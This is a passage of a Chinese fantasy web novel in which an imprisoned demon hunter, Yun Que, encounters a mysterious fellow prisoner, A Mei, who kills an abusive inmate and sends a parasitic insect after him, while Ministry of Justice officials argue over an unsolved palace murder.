“美人如蝎啊,哪位侯爷这么倒霉。”云缺实在想笑。 “听说是大名鼎鼎的锻纸侯,阿梅是他新纳的小妾,结果还没洞房呢,咔嚓!被一剪子给切了!” 石头说着自己都打了个寒颤。 那种伤势虽然不致命,但太遭罪了,想一想都瘆得慌。 “断子侯?这位侯爷的名号不错啊,断子绝孙,早有征兆。”云缺实在没忍住,呵呵笑了两声。 石头一听顿时大惊,连忙比量禁声的手势,低声道: “嘘!老大小点声!这话要是让锻纸侯听了去,肯定跟你没完!”石头忌惮道。 “既然是纳的妾,怎会出现这种局面,阿梅难不成是那个断子绝孙的侯爷,强买强卖的民女。”云缺道。 “估摸着差不多,我也是这么猜的,可怜阿梅,年纪轻轻就被下了大狱,这辈子怕是出不去喽。”石头叹息道。 云缺听得奇怪,问道:“阿梅不是死罪?” 重创当朝的侯爷,这种罪名绝对不轻,若是普通民女,肯定要被砍头。 “应该不是,她在这里至少关了三年,要是死罪,早砍头了!”石头道。 云缺更觉得奇怪了。 切了侯爷的命根子,还能在天牢关押多年而没死,这个阿梅的身份怕是没那么简单。 “阿梅什么来头。”云缺道。 “不清楚,她从来不跟别人说话,罪名也是从一个狱卒口中传出来的,要不是会唱小曲儿,都以为阿梅是哑巴呢。”石头道。 云缺点点头,道:“说说那个断子绝孙侯。” “锻纸侯,锻造的锻,纸张的纸。” 石头解释道:“锻纸侯此人精通锻造武器,听说大晋立国之前就是皇帝的家丁,负责锻造军械,手握大权,因其锻造的手艺精湛,能锻造出如同纸张薄的钢刀,后来被皇帝封为锻纸侯。” “一人得道,鸡犬升天。”云缺感慨了一句。 当今皇帝原本是一方诸侯而已,坐上皇位,家中的旧臣家丁自然水涨船高,封侯拜相。 听到这个消息,云缺想起了牧青瑶的父亲,阜南王也是皇帝曾经的家将,应该与那个锻纸侯很早就认识。 石头说得起劲,继续讲道: “锻纸侯这人是有名的色中饿鬼,男女通吃!我曾经跟着一位大老板办事,老板有一次喝醉,说了个隐秘,他说这些年往锻纸侯府上送去的少男少女至少有五十个!全是十来岁大,供那锻纸侯享乐!” 云缺皱了皱眉,厌恶道: “十来岁大的孩子也不放过,这种畜生断子绝孙实在太便宜了,断得好啊,那个断子绝孙侯该不会叫禽兽吧。” “对啊,锻纸侯就叫琴寿!琴声的琴,寿元的寿!”石头道。 “禽兽,断子侯,呵!好名好封号!”云缺笑了声。 说话间,已经到了黄昏时分。 晚饭和早饭差不多,白菜汤,粗面馍,外加一碗大咸菜。 云缺正准备吃饭,牢门开了,吴鹰走了进来,提着一个食盒。 “吴大人。” 云缺起身拱了拱手,手上的镣铐哗啦作响。 这位半边脸毁容的提牢司令史,给云缺的印象还不错,是个直来直往的人。 “什么大人不大人的,反正你早晚也要入学宫,我长你几岁,叫我师兄即可。” 吴鹰说着将食盒打开,里面是四菜一汤,一盆热腾腾的白米饭,还有一小壶酒。 “吴师兄,这是?”云缺改了称呼。 “犁大人每天送你的肉,你中午吃,晚上这顿我管,放心吃,只要师兄在天牢一天,你的饭菜管够!”吴鹰笑道。 “谢过吴师兄。”云缺诚心的道谢。 比起天牢的清汤寡水,食盒里的四个全是肉菜,香气扑鼻,看着让人食指大动。 “谢什么,区区酒肉而已,不值一提!我们武者以气血为根本,吃得少了,一顿两顿还没事,时间一长气血会逐渐衰弱,再想补救可就难了。” 吴鹰笑着拍了拍云缺肩膀,道: “师兄还等着跟你去妖山比试比试谁猎的妖更多呢,慢慢吃,我放衙了,要回学宫修炼,记得吃饱了打套拳,舒展开筋骨再睡。” 云缺点头道:“师弟知道,对了吴师兄,晚上学宫里也有先生授课么。” “当然有!有的先生脾气古怪,白天睡大觉,只有晚上才会授课,别看我整天在提牢司当差,其实修炼上一点没耽搁。”吴鹰道。 “吴师兄不睡觉的吗。”云缺道。 “我睡得很少,一天休息个把时辰即可,人这一辈子,有三成时间浪费在睡觉上,我睡得少些,相当于比旁人多活很多年。”吴鹰道。 “吴师兄够拼的,将来定能扬名天下。”云缺赞了句。 如此勤奋的人,又岂会默默无闻。 “哈哈!借你吉言。” 吴鹰从怀里掏出把钥匙,将云缺手上的锁链打开。 “这样才能练拳。” 吴鹰关上牢门,转身离开。 云缺活动了一番手腕,倍感轻松。 手被锁着,始终行动不便,吃饭都不香。 “还是老大人脉广啊!” 石头眼睛瞪得多大,挑着两个大拇指拍马屁,随后讪笑:“老大能不能分我一小杯酒,我不要菜!尝尝酒味就成嘿嘿。” 食盒里的饭菜足够多,云缺也不小气,道:“便宜你了,过来吃吧。” “多谢老大!” 石头美滋滋的倒了杯酒,能在天牢里混上酒菜,是他做梦都不敢想的事儿。 刚喝了一小口,石头立刻惊呼道: “桃花酒!这是仙客楼的招牌!一小壶就要一两银子!” 云缺也尝出酒味的不同,醇厚中带着一种淡淡花香,入口绵长,比起犁大人给的清酒好喝多了。 石头仔细看了看四盘菜,羡慕万分的道: “都是仙客楼的招牌菜啊!这顿饭菜少说二两银子打底儿!” 一顿饭二两银子,确实不少了。 吴鹰出手果然大方。 吃饱喝足,云缺舒展了一番筋骨,准备练拳。 吴鹰说得没错。 天下武夫,均以气血为主,首先要吃饱肚子。 别看云缺猎妖四处跑,从不亏待五脏庙,每天必须吃饱喝足。 只有吃饱,才有气力可言,整天饿着肚子,没人有力气修炼武道。 所以武夫的食量都很大。 武道更是武夫不可或缺的功课,演武之法,必须时常习练,方可保持气机源源不断。 云缺练拳不多。 不是不会,而是没那个必要。 因为天天斩妖。 与妖物搏杀,就是最佳的习练。 世上没有任何一套功法,能和真刀真枪的实战相比。 在天牢无妖可斩,云缺想要保持气机,只能练拳。 云缺抬起双拳,一震双臂,做出起手式! 云缺刚刚亮出架势,旁边看热闹的石头顿时吓得躲在墙角,不敢靠近。 云缺的起手式太吓人了。 双拳震荡出两团气浪,双臂之上如同有旋风在游走,囚服都跟着鼓荡开来。 那是武者运转的气机,在身外所产生的风旋! 云缺这套拳,打得不算快,每一拳都带着破风声,大开大合,只有一个字能形容。 猛! 刚猛,凶暴! 这套拳有名字,叫七杀拳法,由七杀刀法衍化而来,是前朝大燕斩妖司的一份传承,云缺打小就学过。 七杀拳以攻为主,根本没有任何防御的招式。 每一拳都攻向敌人的命门,如同斩妖人的妖刀一样,有去无回,不见血就不会收。 完全的搏命之法! 打到最后,云缺侧腰扎马,双拳齐出。 嘭!! 拳风击打在墙壁上,吹起一层沙尘。 尽管拳头没贴到墙壁,仍旧在墙上留下两个浅浅的拳印! 这便是八品巅峰武夫的战力。 角落里的石头看得直冒冷汗。 他现在才知道,昨天人家那一脚,根本没用力! 如果挨上云缺全力一脚,石头很确定,自己的肚子会被直接踢爆! 等云缺收招定式,已然出了一身透汗。 石头在角落里连忙抚掌叫好,给足了老大面子。 云缺散掉外衣,现出精壮的上身。 外表看着瘦削,实则筋肉扎实,八块腹肌半块不少,由于气机仍在运转,身上的汗水自行蒸发,在云缺双肩上形成一层淡淡的雾气。 此刻的云缺,身躯健硕,雾气蒸腾,看起来犹如神魔一般,有一种阳刚之美。 这便是武夫的特点。 天下武夫,极少会出现阴柔之人,并非没有,而是相当罕见。 大多武夫都如云缺这般,从里到外透着一股男子汉独有的阳刚之气。 石头鼓完掌,看到云缺心窝处的烙印,夸赞道: “老大这刺青,好别致啊!” 石头自己身上也有,纹了一条花臂,他这种行当自然将自己装饰得越凶越好。 但刺青,都是青的,石头见过无数刺青,头次见到带有颜色的刺青,还是一朵惟妙惟肖的莲花。 “喜欢的话,给你也刺一个。”云缺随口道。 “不用不用!我怕疼嘿嘿。”石头连忙谢绝。 纹花臂把他疼个半死,这要弄个红莲,不定得疼多久呢。 云缺缓缓吐出一口浊气,目光扫向墙壁上的孔洞。 武夫没有其他修行者那种能察觉周围一切微小变化的灵识,但武者的五感极其敏锐,云缺察觉到有目光望向自己。 果然,孔洞对面,一只漂亮的杏眼,正盯着自己看。 隔壁的阿梅。 云缺大大方方站在原地,让对方看个够。 你那么小气,解个扣子就没了。 咱大方,随便看! 等汗水蒸腾之后,云缺穿上囚服倒头便睡。 吴鹰那种勤奋,云缺学不来,也不想学。 人生最大的爱好除了看美人沐浴之外,就只剩睡觉了。 对混吃等死的人来说,还有什么比睡觉更好呢。 这一晚,云缺十分罕见的做了个梦。 还是个美梦。 梦境里,隔壁的阿梅身穿长裙,赤着双足朝自己走来,葱白的脚趾犹如卧蚕,温润如玉。 阿梅一边走,一边宽衣解带,一张狐儿脸充满了诱惑。 看得云缺一眼不眨。 直至上衣即将褪去,忽然又被其裹紧。 云缺大失所望,仔细一看,阿梅的脸睱已经变成了牧青瑶,正嘟着小嘴儿一脸嗔怪,满眼幽怨。 云缺扑哧一声笑了出来。 随之转醒。 狭小的牢窗外,天边放亮。 云缺望着牢房棚顶,想着心事。 被关进天牢已经一天多了,这么长时间,牧青瑶始终没出现。 牧青瑶不可能把自己忘了,经过那么多天的相处,云缺知道灵芸郡主绝非薄情寡义之人。 牧青瑶没出现,云缺想来只有一个可能。 对方与自己一样,暂时失去了自由。 点燃烽火惹恼了皇帝,被关了起来? 还是阜南王回来了,怕女儿再遇到危险,把牧青瑶关在家里? 云缺想不出真相,但他知道牧青瑶此刻肯定没什么危险。 毕竟这里是天祈皇城。 有禁军,有司天监,有一群武官,还有学宫里的无数学子。 以牧青瑶的地位,保护她的人,肯定很多。 云缺猜想现在小郡主可能无聊的坐在闺阁深处,吃着美食,看着杂书,心不在焉的等着自由。 云缺猜对了一半。 牧青瑶确实被禁足,非但没有美食书卷,反而正在受罪。 第79章 你怎么没死 司天监,地牢。 灵芸郡主被摆成了一个古怪的姿势,一脚着地,一脚撑在墙上与头齐高的地方。 那位眼珠带着血丝的大师姐,正强行给小师妹压腿、抻筋。 牧青瑶小脸苍白,眼泪汪汪的哀求: “不行了大师姐!腿要断掉了!” 身后传来冷漠的声音:“习武,强身,你,太弱。” “我修儒道呀大师姐,我不想习武!饶了我吧大师姐!” 牧青瑶说完,背后突然传来一股力道,她都能听见自己纤细的腰肢发出咔吧一声脆响。 空旷的地牢里,响起小郡主凄惨的哀嚎。 牧青瑶也想吃着美食,看着书,打发这段无聊的囚禁日子。 可倒霉的是,偏偏与大师姐关在了一起。 尤其大师姐修的是武道,最看不惯弱不禁风的女孩子。 这十天,她注定要在大师姐的折磨下度过。 牧青瑶已经不奢求别的了,她只希望十天之后,自己还能用脚走出地牢,而不是被抬出去。 …… 关进天牢的第二天中午,云缺依然吃到了肉。 不算太多,正常人的一顿饭量。 比起其他没有午饭的囚犯,云缺在食物这方面,俨然是天牢里的顶级待遇。 那位犁大人说话倒是算数,没亏待云缺。 尤其之后的放风时间,狱卒居然允许云缺出去,想来是犁大人往上边汇报验尸结果得了好处,这才通融了一二。 没白验尸。 云缺心情不错。 囚犯放风,有固定的地点,都在天牢区域的一块空地。 四周是高高的石墙,看不到外面。 尽管如此,每天一次的放风时间,是囚犯们最期待的时刻。 唯有此时,才能看到外面的蓝天,呼吸外面的新鲜空气。 囚犯们陆续从天牢走出。 三五成群的互相打着招呼,嘻嘻哈哈,也有不少人独处。 空地上很快热闹起来。 有人推搡,有人叫骂,有人挥舞拳头做出满脸恶像。 云缺倚着东侧的石墙,打量周围环境。 空地四周均有狱卒巡逻,石墙上设有瞭望塔,有狱卒昼夜值守。 云缺背靠着石墙,用手敲了敲身后的墙壁。 从反震的手感判断,石墙至少两尺到三尺厚,而且是实心儿的,完全由青石建造。 这么厚的石墙,八品武者赤手空拳的话是破不开的。 仰起头,云缺望向石墙顶端。 墙顶的空间在阳光下呈现出一种轻微的扭曲状。 这种情况,代表着有法阵在运转。 云缺暗暗叹了口气。 来的时候,他自然记住了路线,深知天牢位于刑部深处。 而刑部,是一大片区域。 有办案的地方,有演武的地方,有驻扎军兵的地方。 大晋六部,唯独刑部里最不缺武者。 由于刑部统管晋国所有案件,其内自然高手众多,想要从刑部天牢逃出去,难如登天。 若强闯,必然要动手。 云缺本来没罪,一旦在刑部杀人,得不偿失。 所以最好的办法,是无声无息的越狱。 其他囚犯越狱,肯定罪加一等,云缺本是无罪之人,就算越狱被抓,也有足够的说辞。 可观察完环境后,云缺将越狱的打算暂时放下。 不动手伤人的话,绝对逃不出去。 收回目光,云缺打量着空地上的一众囚犯。 其中一个光头壮汉最为显眼,五官狰狞,好似人形妖兽,光头上长着一堆肉疙瘩。 这人在天牢的地位不低,周围囚犯对他毕恭毕敬。 云缺看到那光头壮汉与狱卒头目有说有笑,很隐蔽的往对方手里塞了点东西。 以云缺的眼力,自然看出了端倪。 是银票。 光头壮汉打点狱卒头目的举动,引起了云缺的兴趣。 “在这里买通狱卒,能得到什么好处。”云缺问旁边的石头。 “好处多了!比如从外面带酒带吃食,或者从青楼里带女人进来,我要是手里有银子,肯定只要酒,别的一概不要!”石头道。 云缺略有失望。 带东西进来,对他来说没用,关键是如何能把自己弄出去。 这时那光头壮汉朝着云缺这边走了过来。 石头急忙点头哈腰的打招呼: “九爷!” 名为九爷的光头壮汉用鼻子嗯了一声。 “石头,你这新狱友不赖嘛,细皮嫩肉的,过阵子跟我换牢房,老子也尝尝鲜。”光头壮汉不怀好意的打量着云缺道。 石头不敢多说话,一个劲讪笑,在光头壮汉面前像个奴才似的。 云缺笑了笑。 天牢里男人居多,这光头壮汉是个男女通吃的角色。 等对方走开,石头小声道: “他头顶长着九个肉疙瘩,外号九头鼠!天牢里最凶的家伙之一!九头鼠打人下死手,老大小心呐。” “比妖还凶么。”云缺呵了一声。 正好缺个沙包练拳,云缺不介意与那光头壮汉换在一间牢房。 九头鼠走到不远处的墙角后,停住脚步。 阿梅正抱着膝盖坐在墙角,低着头,好似个精美的雕塑。 距离并不太远,云缺能清楚的听到九头鼠的声音。 “一个鸡腿都不唱,给你脸不要,别怪老子来硬的!今晚你不仅得给我唱小曲儿,还得服侍老子睡觉!” 九头鼠说完,阿梅依旧低头坐着,一动不动。 九头鼠觉得懊恼,一把抓住阿梅的头发,将阿梅的脸抬了起来。 “臭婊子,非得给你梅花才唱曲儿,青楼花魁都没你架子大!很久没碰男人了是吧,晚上九爷让你好好享受一番!嘿嘿嘿!” 面对九头鼠的威胁,阿梅的脸上平静淡然,好似没有表情的木偶,目光空洞,唯独那张精致绝伦的俏脸,吸引着周围无数目光。 九头鼠咽了口吐沫,狠狠哼了声,松开手,扬长而去。 阿梅仰着的俏脸铺上一层阳光,将那她份独有的狐媚呈现得愈发迷人。 云缺甚至能听到周围不少人咽口水的声音。 天牢里本就很少能看到女人,又是如此美貌的女人,自然会被无数人觊觎。 从九头鼠的话中,云缺猜到了此人刚刚贿赂狱卒头目的目的。 换牢房! 今晚九头鼠要换到阿梅的牢房。 石头也猜到了九头鼠的目的,脸色发苦的嘀咕道: “这下坏了!阿梅今晚非得遭罪不可,九头鼠那家伙下手狠辣,不知会把阿梅折磨成什么模样,哎。” 见石头唉声叹气,云缺奇怪道: “今晚有好戏,你不正好能一睹为快么,叹什么气。” “别的女人我才不叹气,但是阿梅太可怜了,人又那么漂亮,我这种混蛋都不舍得碰人家,可恨那九头鼠!我要是有修为,宁可多坐两年大牢,也要把他腿打折!不让他欺负阿梅!”石头愤愤然的道。 “看不出来,你还是个怜香惜玉的。”云缺好笑的道。 “不只我一个,天牢里的囚犯大多都这么想的!尤其听过阿梅唱曲儿的人,对阿梅又敬又爱,人家阿梅唱歌的天赋当得上大家啊!皇帝听了都得赞不绝口!”石头道。 云缺看了眼不远处的阿梅,问石头道: “她住的牢房,一直只有她一个人么。” “不是,有过几个囚犯,天牢里人多的时候,都会两人一间,阿梅同一个牢房的囚犯都死了,好像都是病死的。”石头回忆着道。 天牢里病死的囚犯时常都有,并非什么新鲜事,城外乱葬岗里新鲜的尸体,大多都从天牢而来。 病死的囚犯,很正常。 但不正常的是,同一间牢房的囚犯,相继病死。 云缺望向阿梅的目光里,多了一丝复杂之色。 昨晚的勾引,与那条突然出现的蜈蚣,未必没有关联。 这个喜欢用小曲儿交换梅花的女人,恐怕不简单。 云缺迈步走向墙角,坐到阿梅旁边。 “唱个曲儿来听听,我有比梅花更好的东西。” 云缺看似轻浮的笑道。 阿梅缓缓转过头,空洞的目光仿佛多出一层灵动,静静望着身旁的少年。 良久,阿梅伸出左手。 五指纤细,由于常年关在天牢,手变得十分苍白。 她没答应云缺的要求。 而是提前索要东西。 尽管没说话,云缺也能看出对方的意思。 于是将一件东西放在阿梅手心里。 那根挖墙的银钉。 以银钉的锋利,突然出手的话,足以扎进一名壮汉的心脏。 阿梅握起银钉。 嘴角微微动了动,呈现出一种极淡的笑意。 笑容很浅,却美得令人心惊动魄。 不过阿梅绝美的笑容,落在云缺眼里则有些说不出的诡异。 仿佛一只凶猛的狐妖,在沉眠时显现出的温顺,可一旦苏醒,便会毫不留情的吞杀猎物。 云缺猎过妖物太多,其中不乏外表看起来美丽温顺之物。 可云缺很清楚,妖物外面的美丽,只是天生的伪装而已,真正的凶戾,永远藏在心底。 眼前的阿梅,带给云缺的就是这种奇怪的感觉。 阿梅朱唇轻启,说出一句声音很轻,又十分古怪的低语。 “你怎么没死。” 云缺眉峰动了动,疑惑的望着对方。 这句话,云缺无法理解。 我为什么要死? 云缺刚想问问这话什么意思,放风时间结束,空地上的囚犯各自回归牢房。 黄昏之时,有狱卒给云缺送来一个食盒。 里面仍是四盘菜一壶酒。 吴鹰没来,可能公务缠身。 吃饱喝足,天已经黑了,两个狱卒押着九头鼠走了过来。 途经云缺的牢房,九头鼠朝着云缺肆无忌惮的笑了笑,随后被关进隔壁阿香的牢房。 两个狱卒锁好铁门后离开。 石头唉声叹气,又忍不住好奇,始终盯着墙洞看着隔壁。 没过多久,隔壁传来衣物被撕扯的响动。 第80章 今夜听曲儿 云缺盘坐在木床上。 不用看,听声音都知道隔壁发生了什么。 那个九头鼠,正在撕扯阿梅的囚衣。 隔壁没有惨叫也没有哀嚎,阿梅像个哑巴一样沉默着。 由于已经是晚上,天牢里很安静,撕扯衣服的声音传出很远。 附近牢房里的囚犯都能听得到。 一时间天牢里嘈杂起来,有人听不下去,大喊道: “九头鼠你个禽兽!你别欺负阿梅!” 还有人怂恿道: “九头鼠你行不行啊!别伤了老腰,不行换我来!” 也有人哀求道: “九头鼠你放过阿梅吧!求求你了别碰她!” 更有人叫好道: “九爷尝了鲜,明儿可要给我们说说是个什么滋味啊哈哈!” 周围响起的声音,如群魔乱舞。 云缺充耳不闻,始终暗自沉吟。 云缺在思索着白天时候,阿梅说的那句奇怪之言。 你怎么没死…… 她为何认为我会死? 很快,云缺想到了什么,眉峰微微挑动。 看了眼自己心窝位置。 阿梅,认出了莲花印! 练拳的时候,阿梅从墙壁空洞看到了莲花印,她知道这种魂印是致命的东西,认为自己应该死掉。 所以才会有那句奇怪的话。 想通后,云缺对阿梅的身份感到有些好奇。 连博览群书的牧青瑶,都不清楚莲花印的真正效果,一个关在天牢里多年的罪囚,居然知道莲花印的致命之处! 这个阿梅,究竟是什么身份? 正疑惑间,云缺听到石头在大呼小叫。 “活该!让你欺负人!这下犯病了吧!活该!” 石头一边盯着孔洞,一边解恨的说道。 “隔壁怎么了。”云缺问了句。 “九头鼠犯了羊角风!正口吐白沫呢!幸好阿梅没被他糟蹋,真是老天开眼呐!” 说完石头挤眉弄眼的道:“阿梅的囚服被撕掉了快一半,我看到肩膀了!那个白呀!” “看个肩膀把你美成这样,要是上下看个遍,你还不得美死。”云缺道。 “嘿嘿,我哪有那种福气,再说谁家女孩子能让外人看身体呀。”石头挠头笑道。 “不让看你不会偷看呐,圣人云,食色、性也,看看无罪。”云缺道。 “啊?” 石头听得云山雾罩。 前边那句圣人言他好像听过,可后边的看看无罪,究竟哪位圣人说的? 九头鼠的动静,很快被周围的囚犯得知。 大喊救人的,大呼活该的,大骂特骂的应有尽有。 这边的嘈杂,终于引来了狱卒。 发现九头鼠的模样,狱卒急忙打开牢门将其拖了出去,找郎中医治。 九头鼠在天牢有点门路,不少狱卒都打点过,若换成其他普通囚犯,根本没人理睬。 天牢里逐渐安静下来。 云缺走到墙洞处,往隔壁看了眼。 阿梅衣衫不整的坐在墙角,依然垂着头,显得更加可怜。 仿佛察觉到目光,阿梅缓缓抬起头,望向墙洞对面云缺的眼睛。 她的嘴角再次动了动,现出与白天类似的浅笑。 牢房阴暗。 阿梅的笑容在昏暗中显得倍加诡异。 云缺看了一眼,便收回目光,打了一套七杀拳,直接睡觉。 直到第二天清晨,被拉走的九头鼠没再回来。 中午放风的时候,云缺听到囚犯里流传起一个消息。 九头鼠死了。 突发重疾,暴毙而亡。 阿梅仍然坐在空地角落,一个人孤零零,弱小而娇柔。 囚犯们的目光时而落在角落那具迷人的身影上,有人的目光带着同情,有人的目光不怀好意。 没人与阿梅说话。 因为囚犯们都知道,阿梅除了唱小曲儿的时候,从来不会开口。 云缺再次坐到阿梅身旁。 “你杀人不需要武器,把银子还给我。” 云缺口中的银子,指的是昨天那根银钉。 阿梅没说话,也没还东西,偏过头,默默看着云缺,没有笑容,眼神中带着一丝好奇。 云缺不再说话,而是伸出手,索要银钉。 两人的动作变得十分古怪。 一个偏着头,一个伸着手,半晌没人动弹。 直至放风的时间结束,狱卒呼喊犯人们回牢房,阿梅才在吵嚷中轻轻开口。 “想听曲儿么,今夜午时,侧耳倾听。” 声音极轻,略有些沙哑,但莫名的好听。 阿梅回了牢房。 银钉,始终没还给云缺。 当晚,云缺再次吃到四盘好菜,仍是狱卒送来。 吃饱喝足,云缺蹙眉沉思。 今天已经是关进天牢的第三天。 明天便是天祈学宫的考核之日。 看样子,自己的案子遥遥无期。 不行,得找机会逃出去! 再等下去,无异于浪费时间。 云缺可不想在天牢里住上几年。 一直思索着如何逃走,直至午夜,云缺才想起来阿梅的邀约。 今夜听曲儿。 收起烦乱的心绪,云缺来到墙洞前,看了眼隔壁。 阿梅果然没睡。 衣衫整理得干干净净,经常散乱的头发被简单扎了起来,梳成个马尾,整个人看起来明媚灵动。 不施粉黛,仍可自秀云间。 看到阿梅此刻的模样,云缺不由得感慨。 美人如妖! 这是个妩媚如妖的女人,绝对能达到红颜祸水的程度。 阿梅早已等在墙洞旁,见云缺出现,她檀口微张,轻声吟唱。 声音很轻,牢房外无法听闻,隔着一堵石墙更难以听清,唯有将耳朵贴在墙上的孔洞处,才能听得到。 云缺只能贴着墙聆听。 原来白天阿梅所言的侧耳倾听,指的便是如此模样。 随着云缺仔细聆听,婉转而空灵的歌声,幽幽传来: 亭皋正望极,乱落江莲归未得,多病却无气力,况纨扇渐疏,罗衣初索。 流光过隙,叹杏梁,双燕如客。 人何在? 一帘淡月,如照颜色。 幽寂,乱蛩吟壁,动庾信,清愁似织。 沉思年少浪迹,笛里关山,柳下坊陌。 坠红无信息,漫暗水,涓涓溜碧。 飘零久,而今何意,醉卧酒垆侧。 …… 阿梅唱的曲子,名为霓裳羽衣曲,歌声中藏着一种淡淡的幽怨之意。 讲的是漂泊之人,不断追寻着乐曲的最高境界,游历四方,无法归乡,直至多愁多病,境地凄凉,感慨时光匆匆,知音难寻,唯有梦中一会,醒来后,心中只剩下无限伤感,大河东去,此生漂泊无依,唯有狂醉。 云缺听不太懂词中的含义,但他能听出曲中的那份孤独与不甘。 如一个天生孤寂之人,在天地间放声狂啸,拔刀而斩。 阿梅的歌声,确实如天籁之音,听得云缺如痴如醉。 而那份孤寂和不甘,又与云缺的内心产生共鸣。 世上仅剩的猎妖人,注定与孤独为伍,与妖邪相战,活这一生,唯一等待的,便是战死那一刻的到来。 阿梅是独孤的。 云缺亦是。 云缺的眉峰始终紧紧锁着,一时沉浸在歌声所散发的那份淡淡悲伤当中。 然而就在歌声停下的那一刻,云缺耳中除了绕梁的余音之外,还多出一种细微的沙沙声! 刹那间,云缺分辨出声音的来历。 那是细小的虫爪,在快速爬动所产生的微弱响声! 云缺此刻贴着墙壁,耳朵正对着墙上的孔洞,他听到的声音,自然来自孔洞当中。 云缺以最快速度往后退去。 可惜晚了。 那小虫速度太快,已经爬进了云缺的耳朵里! 云缺猛然站定,目光一沉。 正常情况下,即便贴着墙,一些虫蚁也不可能爬进自己的耳朵。 因为云缺是八品武夫,听觉极其灵敏,而且身手敏捷,发现小虫,可以立刻避开。 可这次十分诡异。 云缺在听到声音后,动作也很快,偏偏没躲开! 稍一思索,云缺立刻猜到缘由。 阿梅的歌声,有古怪! 那歌声不仅好听,还有一种惑人心神的效果,让听到歌声的人,在不知不觉间降低了感知,从而变得迟钝。 旁人若是被莫名的虫子爬进耳朵,肯定要慌乱不已,大惊失色。 云缺则安稳如常,只是目光变得十分冷冽。 腹内气机转动。 嗖的一声轻响,一道寒光从云缺的耳中出现。 咔一声! 一根银针般大小的微型妖刀,直接钉在墙壁上。 在妖刀之上,还扎着一只比指甲还小的怪虫。 怪虫被钉死在墙上,胡乱挣扎几下便不动了。 妖刀从耳而出,并非云缺施展的什么功夫,而是一种本能。 妖刀是实体,但与云缺这个主人早已血肉相连。 云缺可以从口中喷出妖刀,也能在耳中令妖刀出现,乃至从眼睛从头顶从手心出刀。 只要身体存在气血的位置,都是妖刀能随意游走的地方。 如果云缺愿意的话,甚至在小解的时候,也能把妖刀弄出去。 这也是云缺为何不在乎怪虫入耳的原因。 来到妖刀近前,云缺看了看那怪虫。 身体细长,生着四只短小的细爪,没有眼睛,头部有一根细针般的口器,类似蚊子。 这只怪虫模样奇怪而可怕,从外表看,应该是吸血一类。 很快,被妖刀钉死的怪虫渐渐枯萎,最后化作灰尘落下。 并非活物! 这种怪虫,云缺从未见过,不知是个什么东西。 不过能肯定的是,绝非善类。 这下云缺可生气了。 我借你银钉防身,非但不还,还给我下虫! 岂有此理! 再次来到墙洞前,云缺目光冷冽的望向隔壁。 阿梅正抱着膝盖坐在木床上,看到云缺的眼睛后,朱唇轻启,无声的说了三个字。 尽管没有声音,云缺还是能从对方的口型读出唇语。 好听吗。 云缺眸光微寒,冷冷一笑。 “当然好听,有机会我会让你听一听更好听的声音。” 云缺准备让阿梅听的声音,自然是落刀的声音。 害我者,我必杀之。 这是云缺的行事风格,从不会改变。 不管对方是妖兽还是美人,猎妖人的刀,永远没有感情可言。 第81章 我知道凶手是谁 翌日,大雨。 天牢内湿气变得更重。 午饭后的放风时间被取消。 云缺大为失望。 今天是天祈学宫考核的日子,错过今日,就得等到来年。 本打算趁着放风的机会尝试逃出去,可惜天不遂人愿。 这几天云缺设想过无数种逃离天牢的办法,没有一条是能安全溜出去的。 唯有强闯这一个办法。 天牢的构造无比坚固,外层设有庞大法阵,云缺查看过脚下地面,砖石深处存在着法阵气息。 挖隧道是不可能成功的,一旦触碰地底法阵会被立刻察觉。 刑部天牢,关押着不少修行者,自然修建得毫无破绽。 若时常被犯人逃走,那皇帝的颜面何存。 午饭有肉,可云缺食如嚼蜡,吃得毫无滋味。 已经关在天牢三天,牧青瑶仍未出现。 云缺有一种感觉,自己的案子,怕是要常年拖下去了。 不行! 得想办法出去。 即便云缺是个混吃等死没有抱负的人,可住在天牢实在无聊,连最起码的自由都没有。 青狐山虽然也不咋地,好歹山下有个藏石镇,还能猎猎附近妖兽,看看女人沐浴,顺便修炼武道。 在天牢里什么都没有,境界只能停滞不前。 隔壁倒是有个美人,却是只毒蝎,看不得听不得,容易丧命。 云缺一筹莫展之际,刑部之内还有更多人与他一样愁眉不展。 黄昏时,大雨停歇,天边的火烧云格外绚丽。 然而刑部的一群官差却无心欣赏,紧锁眉头,面带苦涩。 存放尸体的冰屋内,站满了身穿官袍的身影。 以犁大人为首,提牢司的一众令史均在。 不仅提牢司,督捕司、秋审司、赃罚司、律例司的人也全都在场。 尸体仍旧被冰封,放在木桌上,断掉的头颅看起来触目惊心。 在众人最前方,一名身形瘦削的五旬男人正在背着手来回踱步。 此人名为上官鸿途,刑部侍郎,官居三品,是犁大人的顶头上司。 在刑部,除了尚书之外,这位刑部侍郎的官职最高。 “三个臭皮匠顶个诸葛亮,我们刑部这么多人,连个案子都查不清,连臭皮匠都不如啊!” 上官鸿途语气恼火的道。 犁大人众人纷纷低头,没人敢吭声。 官大一品压死人,顶头上司发火,最好的应对就是闭嘴。 见没人吭声,上官鸿途愈发烦闷,质问道: “陈洲骅,你是缉捕司郎中,这些天可有凶手线索?” 缉捕司郎中,是刑部五司中缉捕司的最高长官,掌缉捕事宜,整个大晋的所有捕快都归缉捕司管辖,也有人称缉捕司郎中为总捕头。 人群里一名四旬上下的官员急忙出列,拱手道: “回禀大人,缉捕司这几日昼夜不停查案,所有人手均已散布全城,宵小之徒抓了不少,以至天牢人满为患,但那凶手的线索,暂时还没查到。” “饭桶!” 上官鸿途沉着脸道:“真凶逍遥法外,蟊贼抓得再多有何用!” 陈洲骅立刻低下头,哪怕他身为六品武者,也不敢多言语。 上官鸿途目光转动,冷着脸道: “犁术,你身为提刑官,尸体摆在这里三天,你还查出了什么。” 那位犁大人立刻上前回话,恭敬道: “大人,尸体的线索实在太少,我们提牢司只能看出是妖物杀人,除此之外,实在看不出太多线索。” “你确定凶手当真是妖?天祈城里的伏妖大阵难道是摆设?”上官鸿途冷声道。 犁术心里发苦。 三天前汇报的验尸结果,确实得来了两句夸赞,他美了几天。 结果三天来,案情毫无进展,以至于整个刑部上上下下全都人心惶惶。 犁术知道死者是宫娥,更知道是发生在皇宫的凶案,这种案子牵连太大,他可不敢一口咬定凶手当真是妖物,否则一旦错了,他容易背锅。 犁术连连点头承认自己没用,随后试探着说道: “大人,我们刑部只管正常案件,这种涉及妖邪的诡案应该由司天监来接手才对啊。” 犁术问出了许多人心头的不解。 别说皇宫里发生妖邪作乱的诡案,即便民间的这等诡案,也是司天监来管,怎么这次落到刑部头上了? 上官鸿途沉默了好一会儿,皱眉道: 